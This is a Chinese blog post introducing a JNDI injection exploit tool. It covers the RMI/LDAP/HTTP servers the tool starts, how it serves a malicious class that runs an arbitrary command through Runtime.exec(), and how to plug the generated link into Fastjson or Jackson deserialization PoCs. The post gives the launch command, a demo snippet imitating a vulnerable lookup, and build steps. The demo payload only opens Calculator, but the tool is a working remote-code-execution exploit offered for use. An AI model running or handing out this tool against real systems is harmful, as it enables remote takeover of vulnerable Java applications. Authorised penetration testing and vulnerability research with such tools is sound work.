标签:oid 启动 apr eal str ons tor res false
最近把自己之前写的JNDI注入利用工具改了一下push到了github,地址:https://github.com/welk1n/JNDI-Injection-Exploit,启动后这个工具开启了三个服务,包括RMI、LDAP以及HTTP服务,然后生成JNDI链接。测试时可以将JNDI链接插入到JNDI注入相关的POC中,如Jackson、Fastjson反序列化漏洞等。
三个服务中,RMI和LDAP基于marshalsec中RMIRefServer、LDAPRefServer类修改而成,分别监听1099及1389端口,HTTPserver提供恶意类的下载功能。
可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-C - 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
-A - 服务器地址,可以是IP地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
或者你也可以在run.ServerStart类26~28行更改默认端口。
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
启动 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1
截图:
我们需要把第一步中生成的 JNDI链接注入到存在漏洞的应用环境中,方便解释用如下代码模仿漏洞环境:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
当上面代码运行后,应用便会执行相应命令,这里是弹出计算器,没截图,可以自己测一下。
截图是工具的server端日志:
下面两种方法都可以得到Jar包
从 Realease直接下载最新的Jar。
把源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
简单写一点儿工具的实现方式
标签:oid 启动 apr eal str ons tor res false
原文地址:https://www.cnblogs.com/Welk1n/p/11701401.html